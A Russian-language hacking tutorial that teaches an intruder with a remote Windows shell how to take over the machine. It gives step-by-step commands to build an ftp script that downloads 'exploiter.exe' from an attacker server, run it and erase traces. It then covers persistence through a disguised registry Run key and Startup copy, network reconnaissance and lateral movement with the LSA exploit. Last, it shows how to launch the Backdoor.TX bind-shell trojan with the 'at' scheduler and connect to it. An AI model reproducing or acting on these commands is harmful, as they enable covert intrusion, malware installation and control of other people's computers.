[ Курс молодого бойца - взлом через командную строку ]
Многие ли из вас задумывались насколько полезной и опасной может оказаться
командная строка?
Хочу предложить вам более внимательно приглядеться к этому вопросу.
Итак. Когда у вас есть доступ к чьей-то командной строке запущенной от
SYSTEM, это хорошо.
Когда у вас есть доступ к чьей-либо командной строке запущенной от учетной
записи с админ правами это очень хорошо!
Давайте ка рассмотрим это на примере RAdmin'a для системной учетки и на
примере трояна Backdoor.TX от админа. Приступим.
RAdmin 2.1 предоставляет нам терминальное окно командной строки которая
запускается на удаленной машине от имени системы. Как бы это ни звучало
странно но работать с привилегиями системы чрезвычайно неудобно.
Ни тебе взаимодействия с окнами ни компьютер выключить. Но есть элегантное
решение с повышением привилегий, но к сожалению в радмине не прокатит. Мы
рассмотрим это на примере трояна бэкдора далее.
Командная строка, в умелых руках творит чудеса. С ее помощью можно вытащить
столько полезной информации о системе что любому хватит. Разумеется это
вам не диспетчер устройств, но тех сведений что она предоставит хватит для
наших задач.
Вот например. Задача. У вас есть(неважно каким путем) доступ к командной
строке под системной учеткой. Вам нужно закачать на компьютер файл и
выполнить его. Что делать? Как закачать?
Есть такое полезное средство в виндах, низкоуровневый ftp клиент который
так и именуется - ftp.
Через командную строку удаленную весьма сложно вводить пароль и юзернейм,
легче сделать это дав этой утилите файл сценария фтп. Сначала требуется его
создать. Например вот так он должен выглядеть:
open my-hack-server.net
Admin
12345
get myfile.exe %windir%\exploiter.exe
bye
Как его такой прописать с переносами? А на это есть универсальная команда
echo. Прописав echo data>>text.txt вы тем самым выведите данные "data" в
файл text.txt в текущей папке. Если такой файл есть, эти данные добавятся
новой строкой в конце файла.
Текущая папка к сведению, отображается в окне cmd перед вводимой командой,
например C:\windows\system32>, здесь текущая папка, как вы понимаете,
C:\windows\system32. Чтобы работать в нужной вам папке без необходимости
каждый раз дописывать полный путь к файлу введите cd имя_папки.
Итак продолжим с нашей задачей загрузки файла на компьютер. Создадим файл
сценария для утилиты ftp.
echo open my-hack-server.net>>c&&echo Admin>>c&&echo 12345>>c&&echo get myfile.exe
%windir%\exploiter.exe>>c&&echo bye>>c
Теперь у нас есть файл "c" в текущей папке где прописан весь сценарий для
утилиты ftp. Теперь давайте вызовем ее.
ftp -s:c
Все, если все прошло успешно появится несколько записей с содержанием нашего
файла сценария и процесс фтп завершится. Мы получим наш файл exploiter.exe =)
Главное - не забудьте удалить мусор. Команда "del c" удалит файл сценария
чтобы ваш сервер не нашли.
Задача номер два - прописать этот файл в автозапуск.
Есть два варианта - просто скопировать его в папку
<диск с windows>:\documents and settings\all users\ далее в зависимости от
языка или Главное меню\Программы\Автозагрузка или Start menu\programs\startup\.
А есть вариант прописать в реестре.
Делается это очень хорошей утилитой reg. Немного о ней.
reg query - запрос всех ключей и параметров указанного ключа, например
reg query "hklm\software\microsoft\windows nt\currentversion" или
reg query hklm\system\currentcontrolset\services\sharedaccess\
Заметьте, что имена содержащие пробелы пишутся заключенными в кавычки иначе
будет ошибка.
reg delete - удаление всего ключа или значения ключа, например
reg delete "hklm\software\test soft\" /v myvalue удалит только myvalue значение
из ключа, а reg delete "hklm\software\test soft" удалит весь ключ. Перед любой
операцией delete будет запрос Y/N.
reg add - добавление/изменение значения, например
reg add "hklm\software\microsoft\" /v Suckz /t REG_SZ /d "Oh yeah, M$ suckz!!!"
добавит параметр Suckz типа строки, а
reg add "hklm\software\microsoft\" /v Suckz /t REG_DWORD /d 1 добавит тот же
параметр но типа REG_DWORD, то есть численное значение до 0xFFFFFFFF.
В нашем случае будет полезна функция reg add. Чтобы добавить прогу в
автозагрузку пропишем команду:
reg add hklm\software\microsoft\windows\currentversion\run\ /v ctfmonz.exe /t REG_SZ /d exploiter.exe
Вот мы и прописали наш файлик в реестре. Теперь можно спокойно поизучать систему.
Во первых обычно при вторжении на компьютер требуется определить структуру сети и
подключен ли он к другим компьютерам по подсети. Большой удачей можно считать
захват сервера подсети, например 192.168.0.1. Не всегда это значит что это основной
сервер, ип можно прописать любой, но все же представление о структуре сети можно
получить набором утилит netstat и ipconfig.
Команда netstat -ano выведет список всех текущих подключений к компьютеру и от него.
Там же чаще всего можно увидеть какие порты открыты, какие сервера установлены и
примерно узнать что сейчас делает владелец компьютера.
Команда ipconfig /all выведет все сетевые интерфейсы компьютера с IP адресами и
аппаратными адресами. Тоже весьма полезно в изучении структуры сетей.
На офисных серверах чаще всего стоят Windows XP SP2 а скоро и SP3, или
Windows Server 2003. Админы разумеется не перекрывают NetBIOS в подсети. А
часто там находятся компьютеры с WinXP SP1 или без SP. Значит их можно взломать
через lsa exploit используя сервер как отправную точку. И так далее, если другие
компьютеры используют центральный сервер который вы взломали для выхода в интернет,
то вы также сможете закачать свои программы на эти компьютеры.
Для общей системной информации используем systeminfo, там много ценной информации
о системе, в т.ч. аптайм, что тоже может о многом говорить для каких целей
используется компьютер, чаще всего если аптайм более 3 суток это серверный компьютер
на котором есть что посмотреть, хотя опять таки не всегда. Это лишь теория.
Чтобы процессы посмотреть или грохнуть что нибудь юзаем tasklist и taskkill.
Следует отметить что tasklist в Winows XP без сп или с сп1 не работает.
Убивать процесс по найденному PID можно таким макаром: taskkill /F /PID PID_процесса,
например так:
taskkill /F /PID 1234 - уничтожит процесс с дескриптором 1234.
Не забывайте, это всего лишь цифра, и они всегда разные даже в 1 системе при
перезагрузке процесса или компьютера.
Базовые функции работы с файлами - dir, copy, del, echo.
dir перечисляет все папки и файлы в текущей папке(см выше).
copy что_копировать куда_копировать , например copy c:\windows\exploiter.exe
"c:\documents and settings\all users\start menu\programs\startup\lamer.exe" - заметьте,
в адресе где есть пробелы НЕОБХОДИМО ставить кавычки перед и после адреса.
del что_удалять удаляем файл/папку.
Думаю освоившись с ftp, echo, dir, del, copy, reg и netstat вы далее сами уже всему
научитесь =)
Теперь давайте рассмотрим очень любопытную возможность повышения привилегий на
примере трояна Backdoor.TX. Это к слову один из самых простых и популярных
бэкдоров шеллкод которого используется многими хакерами по всему миру.
Его принцип работы состоит в создании сокета на порту 8080, принятия коннекта и
связывания stdin, stdout с сокетом а далее запуска командной строки. Больше сам
процесс трояна не требуется и он завершается.
Рассмотрим такую связку - LSA Exploit + Backdoor.TX.
При коннекте через LSA Exploit создается сервер на указанном порту, и такая же
связка stdin и stdout с серверным сокетом. Но происходит это от имени системы,
что не дает выполнять команду shutdown и некоторые другие.
Что делать? А вот что-загрузим известным нам уже способом по фтп наш троян
Backdoor.tx, и попытаемся запустить его в режиме Interactive, фактически от имени
юзера который сейчас сидит и даже не подозревает о том злодеянии что приготовил
ему билл гейтс и вы с LSA Exploit'ом =)
Как? Простой запуск трояна ни к чему не приведет, потому что привилегии создаваемого
процесса наследуются от родителя, значит опять будут все те же самые ограничения.
Решается это просто - командой at
Стоит заметить что иногда она не работает выдавая ошибку "Служба не запущена". В
таком случае незаменимой становится утилита net. Запустим сервис Планировщика задач
нужный утилите at вот таким методом:
net start schedule
Если служба не была намеренно отключена администратором то нам удастся ее запустить.
После запуска проследуем к команде at
Перед этим надо получить текущее время на удаленной машине, командой time /t
Она выведет текущее время. Вводим далее это время в at, но +2 минуты.
at полученное_время_+2минуты /interactive путь_к_файлу
Ждем некоторое время. Смотрим когда время наступило netstat -ano, есть ли там порт 8080.
Если да, пробуем подключиться через компонент lsa exploit'a, lsesd адрес порт,
например lsesd 83.174.254.243 8080
При удачном подключении вы можете запускать программы от имени юзера и далее рулить
системой как вашей фантазии угодно :)
(c) M0Dificator